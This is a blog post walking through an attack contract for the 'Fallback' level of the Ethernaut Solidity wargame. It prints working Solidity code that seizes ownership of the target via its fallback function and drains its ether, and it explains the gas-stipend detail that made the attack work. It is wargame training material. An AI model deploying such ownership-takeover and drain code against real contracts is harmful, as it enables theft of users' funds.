A few days ago, I inspired by the Solidity wargame – Ethernaut designed by OpenZeppelin, and decided to make a hacker contract to attack Fallback
contract automatically.
Fallback
is one of the levels designed in Ethernaut.
I thought that it would be very easy before I started, but when I tested the completed hacker contract, I couldn’t even imagine that I would spend a whole day to finish because of one of the important knowledge that was related to gas.
Here is the completed source code of Hacker
contract.
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.5 <0.9.0;
interface FallbackInterface {
function contribute() external payable;
function withdraw() external;
}
contract Hacker {
address payable public hacker;
constructor() {
hacker = payable(msg.sender);
}
modifier onlyHacker {
require(
msg.sender == hacker,
"caller is not the hacker"
);
_;
}
function attack(address _target) external payable onlyHacker {
require(
msg.value > (0.001 ether),
"Not enough ether to attack."
);
uint contributionFee = 0.0005 ether;
// 0. Get the target contract.
FallbackInterface fallbackInstance = FallbackInterface(_target);
// 1. Contribute with ether less than 0.001.
fallbackInstance.contribute{value: contributionFee}();
// 2. Send Transaction to claim owner, should set the gas as enough as the target contract is able to modify owner.
(bool result,) = payable(_target).call{gas: 100000, value: address(this).balance}("");
if (result) {
contributionFee;
}
// 3. Withdraw all ether
fallbackInstance.withdraw();
// 4. Put back into my pocket.
hacker.transfer(address(this).balance);
}
// With it, it can receive ether from the target contract.
receive() external payable {}
}
Please walk though my github repository to see the source code that helps you understand things.
https://github.com/maAPPsDEV/fallback-attack
You could find the code line that uses call
function instead of transfer
or send
in order to send ether to the target contract in Hacker.sol
.
In many documents, call
is dangerous, and needs care about using it.
And I do recommend not to use it for your real smart contract. ?
One of the important differences between call
and transfer
or send
, is that when using call
, you can set the amount of gas that will be available in the transaction generated by call
call.
The call
in Hacker
contract will call fallback
function in Fallback
contract.
Look at that fallback
function, and try to predict how many gas it would need?
Here are some Ethereum specifications that help you to calculate it.
To occupy a 256 Bit slot of Storage costs 20,000 gas. Changing a value of an already occupied slot costs 5,000 gas.
In the fallback
function, it replaces the owner
with the new one, and the owner
is a state variable that stores on Storage. Then you can easily get the amount of gas required for the fallback
function as roughly more than 25,000 gas.
But trasfer
and send
functions are limited with 2300 gas stipend and not adjustable. ? So, if you attack with transfer
or send
, you will get "Out of Gas" exception, and in many cases, Remix, truffle and etc, they don’t give the exact error description. (It’s secret that I spent a whole day to find the reason for the exception.)
With call
you can adjust the amount gas used in the called contract, and the sufficient amount of gas will allow the target contract to replace the owner, ultimately you will get success on the attack.
Sorry, the comment form is closed at this time.